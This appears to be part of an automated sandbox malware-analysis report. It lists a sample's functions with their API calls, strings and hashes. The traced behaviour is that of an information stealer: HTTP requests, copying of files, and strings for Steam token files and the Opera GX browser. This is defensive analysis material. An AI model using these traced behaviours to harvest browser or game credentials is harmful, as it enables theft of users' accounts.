Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00410D10: GetFileAttributesA.KERNEL32(00000000,?,?,0040B844,?,00000000,?,00000000,004201E9,004201E9), ref: 00410D1D

Strings

Opera GX, xrefs: 0040D023

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 0e0a4ba23d3d81cdde82448c46b74a8f3f6161f3e6c380c2b59e8c2835eea34d
Instruction ID: 878ea3d55aa325650e3ef9eb940674a8195e6d8f65bb4788ec79313c0214d067
Opcode Fuzzy Hash: 0e0a4ba23d3d81cdde82448c46b74a8f3f6161f3e6c380c2b59e8c2835eea34d
Instruction Fuzzy Hash: 2AD11F72910108ABCB14FBA1D952DEE7778AF54304F50813EF806765D2EB38AA0CCAA5

Function 00412EE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00405010: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405062
Part of subcall function 00405010: StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,?), ref: 0040507A
Part of subcall function 00405010: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004050A2
Part of subcall function 00405010: HttpOpenRequestA.WININET(00000000,GET,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 004050DC
Part of subcall function 00405010: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405100
Part of subcall function 00405010: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040510F

StrCmpCA.SHLWAPI(00000000,ERROR,?,?,?,?,?,?,?,?,?,?,?,?,?,00413AD4), ref: 00412F20

Strings

ERROR, xrefs: 00412F12, 00412F4A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR
API String ID: 3287882509-2861137601
Opcode ID: 7ba359a6d487f4f705be48227c2b6aaed084a340333159b79fd650385dc61544
Instruction ID: b53bf029f71d461a7cd9a980bfe8ed76a20664019d00161f83185fc2695e4cb7
Opcode Fuzzy Hash: 7ba359a6d487f4f705be48227c2b6aaed084a340333159b79fd650385dc61544
Instruction Fuzzy Hash: 3211303261010867CB24FF72E8529DD3768AE10708F40817EF805779D2EF386A0DCAD9

Function 004103E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(00000000), ref: 004103EB

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Strings

Unknown, xrefs: 0041040A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CurrentProfilelstrcpy
String ID: Unknown
API String ID: 2831436455-1654365787
Opcode ID: 7f2f59503834969d570c94138c9a6e52f3934a8309e6d6cc72abeb6884dea8a3
Instruction ID: 19cb3bbfcee307e431a48a4cc2986d0f4610495d139a97f2bc99e78c6af915a2
Opcode Fuzzy Hash: 7f2f59503834969d570c94138c9a6e52f3934a8309e6d6cc72abeb6884dea8a3
Instruction Fuzzy Hash: B8E08033F04128534A207BA87C018DE776CDB44755710427FFD05D7241DB69995547D9

Function 004113C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 004113F6

Strings

itA, xrefs: 004113C6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: itA
API String ID: 3080627654-4073710665
Opcode ID: 2fb46c26f5f968991f922a738bdbc9de65da063d6d4be4973441e1e0646e2ffc
Instruction ID: 47f133316ba314d8bc1974dd8499d7c493aee8c37ab345ebc4d0dd79a7219a22
Opcode Fuzzy Hash: 2fb46c26f5f968991f922a738bdbc9de65da063d6d4be4973441e1e0646e2ffc
Instruction Fuzzy Hash: 62E0AEB0E0420C9FCB44DFA8D8006AEBBF8EF48300F40816AD808E7341E77586118B99

Function 004161A0 Relevance: 3.1, APIs: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004161D7
lstrcatA.KERNEL32(?,024C02D0), ref: 004161F2

Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415EBC
Part of subcall function 00415EA0: FindFirstFileA.KERNEL32(?,?), ref: 00415ED3
Part of subcall function 00415EA0: StrCmpCA.SHLWAPI(?,004201DC), ref: 00415EFC
Part of subcall function 00415EA0: StrCmpCA.SHLWAPI(?,004201D8), ref: 00415F16
Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415F3B
Part of subcall function 00415EA0: StrCmpCA.SHLWAPI(?,004201E9), ref: 00415F4A
Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415F67
Part of subcall function 00415EA0: PathMatchSpecA.SHLWAPI(?,?), ref: 00415F97
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,024BDE28,?,000003E8), ref: 00415FC3
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,004201E0), ref: 00415FD5
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,?), ref: 00415FE3
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,004201E0), ref: 00415FF5
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,?), ref: 00416009

Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415F86
Part of subcall function 00415EA0: CopyFileA.KERNEL32(?,00000000,00000001), ref: 004160AA
Part of subcall function 00415EA0: DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004201E9), ref: 00416119

Part of subcall function 00415EA0: FindNextFileA.KERNEL32(?,?), ref: 00416160
Part of subcall function 00415EA0: FindClose.KERNEL32(?), ref: 00416172

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 3e39c8340cd0fc017df8ad2fd27600d5a2e10f03fb3b98640748308a1605b62e
Instruction ID: 98d42b3406129106ca52e3ce68672895595a1a21ef3683531b9833437f7f45f5
Opcode Fuzzy Hash: 3e39c8340cd0fc017df8ad2fd27600d5a2e10f03fb3b98640748308a1605b62e
Instruction Fuzzy Hash: 4B41C375E002086BCB24FBB1DC43DFE377AABC4304F44451EF90562191EAB85B88CBA6

Function 00414400 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

lstrlenA.KERNEL32(00000000,00000000,?,00000000,004201E9,?,?,?,00416ED8,?,?), ref: 0041443F

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00414454

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleSleepThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 2356188485-3507145866
Opcode ID: 0ae9c2c25decbaabb95120c833515e8b1e900ae9dcce575bd64fc1390b8e8a52
Instruction ID: 081c47b6d937ec40d6c996030d6839391ee10078badbf5345814b8fee0ffd502
Opcode Fuzzy Hash: 0ae9c2c25decbaabb95120c833515e8b1e900ae9dcce575bd64fc1390b8e8a52
Instruction Fuzzy Hash: 9A11D6739141086ADB14FBB2DC539EE773CAE50348F50857EB506728D2EF38664CC6A9

Function 00410DA0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,00413026,00000000,00000000), ref: 00410DBC

Strings

&0A, xrefs: 00410DAE

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: &0A
API String ID: 3494564517-488416437
Opcode ID: 5e0d39f90cc3e526f1afed404e6c67091f8f40804da1df45c8e31fe95fd0f0a1
Instruction ID: 1b95d1e3e19af54c2c1672544d43783d0ab56fa141ae32e5822aae5f418e4f6d
Opcode Fuzzy Hash: 5e0d39f90cc3e526f1afed404e6c67091f8f40804da1df45c8e31fe95fd0f0a1
Instruction Fuzzy Hash: 53F0E5367006151B871209ADA840AA3F7AEEFD9E60714416BEA48EB395DAA5ECC043E4

Function 004063D0 Relevance: 2.6, APIs: 2, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,00000000,?,?,?,0040688E,00000000), ref: 0040642F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040,?,?,0040688E,00000000), ref: 00406463

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6b9bd58a76f6015017861676f4f1b4d3ec2be9568ed5fca8a091e83d2bed6ce3
Instruction ID: 25d565d5ee4a4702b91c68662a662a7ad42dfcb8a2de35b795cdf97fb66203ee
Opcode Fuzzy Hash: 6b9bd58a76f6015017861676f4f1b4d3ec2be9568ed5fca8a091e83d2bed6ce3
Instruction Fuzzy Hash: 9321B4717407105BC334CBB9CC81BA7B7EAEBC0714F14453EEA5ADB3D0D679A8408648

Function 00406840 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa3697299414a2ef3454fad5190ea0879d599e7ac252b065ebb4e6ffadd190e6
Instruction ID: 029a4059ce785aea66ee81bb854fb7a0a454fc3853df5ecaeac7f0707622af9f
Opcode Fuzzy Hash: aa3697299414a2ef3454fad5190ea0879d599e7ac252b065ebb4e6ffadd190e6
Instruction Fuzzy Hash: ED417FB1A002099FDB24DF99D940AAFF7B9AF44314F11407AEC0AA7381E734DD50CB95

Function 00406780 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,004068D6,?,?,?,?,004068D6,?,?,?,?,00000000), ref: 004067F5

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 99b66b60656c25ca60d6866d83d157977516d1859eacdc4d2eb808762aa41453
Instruction ID: 01cb8937eeb0f68714991e8ebc060aa972990f473894c37eb69bfcd2b7a4d248
Opcode Fuzzy Hash: 99b66b60656c25ca60d6866d83d157977516d1859eacdc4d2eb808762aa41453
Instruction Fuzzy Hash: 1E110C716041199BD724DF5CD8807A6F3E9FB08308F21493BE54BD7780D23DAC618799

Function 00410D50 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 7bad39db7e94d89da705273bb53784c1a132b71b0347305e57ad3879df12df10
Instruction ID: bf07e7dc27ca486ce73a822693bad4f66ee15eaaa84330aa2caf21beff2e0ca4
Opcode Fuzzy Hash: 7bad39db7e94d89da705273bb53784c1a132b71b0347305e57ad3879df12df10
Instruction Fuzzy Hash: C2F0A032A1015CABDB10DA58DC51B9DB3FCDB84701F1082A6BA08E32C0DA706F068B94

Function 00410D10 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,0040B844,?,00000000,?,00000000,004201E9,004201E9), ref: 00410D1D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 52fb75f6e5fb142ef6efbc5aee5d71601e12b3f1bd5e732dd4866c81e44684d3
Instruction ID: fb15c47bbe0b93a4405a7b8ff06cc38f93f54865058fbad0eae59745ca59ce08
Opcode Fuzzy Hash: 52fb75f6e5fb142ef6efbc5aee5d71601e12b3f1bd5e732dd4866c81e44684d3
Instruction Fuzzy Hash: 92E0867260012817CB10BAE9E8015DA7758DF407B5B44453AF90DEA5D1DB38AEC587C8

Non-executed Functions

Function 6C7F5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7F5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7F54A8
